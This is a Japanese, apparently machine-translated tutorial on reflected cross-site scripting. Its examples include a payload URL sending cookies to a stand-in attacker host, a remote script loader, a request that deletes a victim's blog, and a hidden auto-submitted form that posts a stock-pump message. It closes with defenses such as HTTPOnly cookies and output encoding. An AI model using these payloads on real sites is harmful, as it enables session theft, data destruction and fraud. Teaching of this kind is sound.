- 謝永脚本の作品
- 編集+王コングリ
- 情報収集・・・謝永
1.XSSを知る
クロスサイトスクリプティング(XSS)は、Webフロントエンドコードインジェクションを使用してページを改ざんし、悪意のあるスクリプトを実行し、データを盗んでIDを偽装する目的を達成する攻撃方法です。ブラウザはHTMLコードに従ってページを解析します。現在のHTMLには多くのJavaScriptスクリプトが存在する可能性があります。XSS攻撃はフロントエンドコードの脆弱性を使用して悪意のあるコードを挿入します。
XSS攻撃者は、特定のJavaScript基盤を持っている必要があります。XSSを回避しないWebページでは、目に見えない要素を作成し、Cookieのハイジャックなどのリンクやフォームの送信をトリガーすることで、データが盗まれることがよくあります。一般的に、スクリプトを挿入するには、元のWebページコードのタグとスクリプトを接続する必要があります。これにより、挿入されたページコードは構文に準拠し、実行できます。
悪意のあるスクリプトの影響に応じて、XSSはリフレクションタイプとストレージタイプに分類できます。
2.リフレクティブXSS
Reflective XSSは、ユーザーが入力したコンテンツをブラウザーが実行するコードとして使用して攻撃の目的を達成します。通常、ユーザーは攻撃者が作成したURLにアクセスする必要があります。このタイプの攻撃はクライアントでのみ発生し、悪意のあるスクリプトパラメータを使用して特定のURLを入力する必要があるため、非永続タイプXSSとも呼ばれます。
リフレクティブXSSを使用するには、ページに動的に表示されるデータとしてパラメーター値をターゲットWebページで使用する必要があり、ターゲットWebページにはパラメーター値の有効なチェックがありません。このようにして、XSSペイロードをに挿入できます。パラメータを作成することによるURL(悪意のあるスクリプト)。ユーザーが知らないうちにURLをクリックして、XSSペイロードを実行できるようにします。リフレクティブXSSは1回限りですが、攻撃者が使用すると便利です。
2.1Cookieのハイジャック
現在、ユーザー「XiaoGuo」を乗っ取ることにした攻撃者「XiaoHei」がいます。ページhttp://www.reflect_xss.com/test.htmlに反射型XSSの脆弱性があると仮定すると、XiaoHeiは次のURLをXiaoGuoに送信します。
http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://www.Evildoer.com/”%2bescape(document.cookie);+document.appendChild(img)</script>
Xiao Guoが無意識のうちにこのURLにアクセスすると、彼のCookie情報はXiao Heiが管理するhttp://www。Evildoer.comサイトに送信され、XiaoGuoのreflect_xssにアクセスするためのトークンはXiaoHeiによって学習されます。したがって、Xiaoheiはパスワードなしでこのトークンを使用して、偽のXiaoguoとしてこのWebサイトにアクセスできます。
Xiaoheiは、URLが長すぎると感じた場合、特定の実装スクリプトコードをhttp://www。Evildoer.comに配置し、URLを次のように変更できます。
http://www.reflect_xss.com/test.html?msg=<script+src=http://www.Evildoer.com/evil_script.js> </script>
このURLにアクセスすると、悪意のあるスクリプトhttp://www。Evildoer.com/evil_script.jsが読み込まれ、上記の方法と同じ効果が得られます。実際、Xiaoheiは、URLにスクリプトをURLエンコードして、悪意のある意図を目立たなくすることもできます。
2.2リクエストを取得する
取得/投稿はWebリクエストの2つの方法であり、ユーザーはこれら2つのタイプのリクエストを通じてデータを追加、削除、確認、および変更できます。ブログサイトwww.bloggg.comがあるとします。上記の各ブログにはblogIDがあります。ユーザーがボタンをクリックしてブログを削除すると、次のリクエストが送信されます。
http://www.bloggg.com/deleteBlog.do?blogID=123
つまり、ブログIDを知っているだけで、ログインしているユーザーはこのURLをリクエストすることでブログを削除できます。Xiao Guoは、このブログサイトのユーザーです。彼はブログを作成しました(blogID = 234567)。XiaoHeiは、このブログのblogIDを見つけ、次のXSSペイロードを使用しました。
var img = document.createElement(‘img’);
img.src = http://www.bloggg.com/deleteBlog.do?blogID=234567;
document.body.appendChild(img)
Xiao Guoが無意識のうちにスクリプトを実行したとき、彼のブログは削除されました。このコードは、最初に要素を作成し、次に要素のsrcを指定します。このURLは、ブログを削除するためのインターフェースです。ここでは要素のみが定義されており、実際にはリクエストは実行されていません。コードの3行目が実行された場合にのみ、それがWebページのDOMに追加され、このsrc属性にアクセスされ、ブログの削除要求が実行されます。
2.3POSTリクエスト
URLの末尾にパラメーターを付加することで、Getリクエストを渡すことができます。違いは、PostリクエストのデータがURLに表示されないため、重要なデータが簡単に漏洩することを回避できます。一般的に、フォームまたはXMLHttpRequestを介してPOSTリクエストを送信できます。
Xiaoheiは、Xiaoguoのアカウントを使用して、フォロワーを欺くための投稿を投稿したいと考えています。この投稿には、気分とテキストの段落(m_text)が含まれています。そこでXiaoheiは、フォームをページに挿入するスクリプトを作成しました。
var evil_form = document.createElement(‘div’);
document.body.appendChild(evil_form);
evil_form.innerHTML = ‘<form action=http://www.bloggg.com/share_mood.do name=”mood_form” id=”evil_form”>’ +
‘<input type=”text” name=”mood” value=”happy”>’ +
‘<input type=”text” name=”m_text” value=”000000股票要飚了,买它!”>’ +
</form>’
document.getElementById(“evil_form”).submit();
このスクリプトは、フォームの自動送信を実装します。フォームに対してdisplay:hiddenを設定すると、フォームがページに表示されない場合があり、小さなポットはフォームをまったく検出できません。同じことがさまざまな埋め込みタグにも当てはまります。XMLHttpRequestオブジェクトを使用して、指定したインターフェースにデータを送信することもできます。
3.防御方法
Cookieのハイジャックの場合、最も簡単で効果的な方法は、機密性の高いCookieにHTTPOnly属性を設定することです。この属性が設定されたCookieアイテムは、スクリプトで読み取ることができません。これにより、機密性の高いCookieが乗っ取られるのを防ぎ、他のCookieをスクリプトで読み取って使用できるようにします。
インジェクションの脆弱性は、ユーザーが出力として制御し、検査や処理を行わずにコードとして実行できるデータに起因するため、このようなデータを確認する必要があります。HTMLタグとJavaScriptコードに関連する文字と語彙をエンコードして、元の形式で直接表示されないようにし、コードとして実行される可能性を減らします。
データはコードとして実行されるため、これらの脆弱性が悪用される可能性があります。コードを作成するときは、この2つを可能な限り分離する必要があります。入力データには、JavaScriptで引用符を使用し、JavaScriptEncodeを使用して文字をエンコードし、攻撃者が引用符を閉じるのを防ぎます。データを入力するために実行される操作の数を減らすと、XSS攻撃者は多くの攻撃の機会を失います。
「ストレージXSS」について知りたいですか?次の号にご期待ください...